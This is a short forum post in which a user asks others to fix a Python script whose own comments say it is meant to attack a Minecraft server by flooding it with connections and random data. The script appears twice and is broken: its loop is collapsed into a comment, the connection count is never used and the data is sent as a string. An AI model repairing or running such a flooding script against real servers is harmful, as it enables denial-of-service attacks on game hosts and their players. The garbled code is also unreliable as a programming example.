- Joined
- May 14, 2020
- Posts
- 1,347
- Solutions
- 14
- Reaction
- 9,712
- Points
- 1,703
- Age
- 18
please fix this Code
import socket
import time
import random
#IP of the Minecraft server to attack
ip = "127.0.0.1"
port = 25565
#Number of connections to make to the server
num_connections = 1000
#Amount of time to keep the connections alive (in seconds)
duration = 10
#Create a socket object with IPv4 and TCP protocol
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Connect to the IP and port specified above using the created socket object
sock.connect((ip, port)) #Send data in small chunks until all data is sent or an error occurs while True: #Generate random data data = str(random.randint(1, 100000)) #Try sending the data try: sock.sendall(data) except Exception as e: print("Error sending data: %s" % e) break #Wait for a short period of time before sending more data time.sleep(0.5) #Close the connection after specified duration has passed time.sleep(duration) sock.close()
import socket
import time
import random
#IP of the Minecraft server to attack
ip = "127.0.0.1"
port = 25565
#Number of connections to make to the server
num_connections = 1000
#Amount of time to keep the connections alive (in seconds)
duration = 10
#Create a socket object with IPv4 and TCP protocol
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Connect to the IP and port specified above using the created socket object
sock.connect((ip, port)) #Send data in small chunks until all data is sent or an error occurs while True: #Generate random data data = str(random.randint(1, 100000)) #Try sending the data try: sock.sendall(data) except Exception as e: print("Error sending data: %s" % e) break #Wait for a short period of time before sending more data time.sleep(0.5) #Close the connection after specified duration has passed time.sleep(duration) sock.close()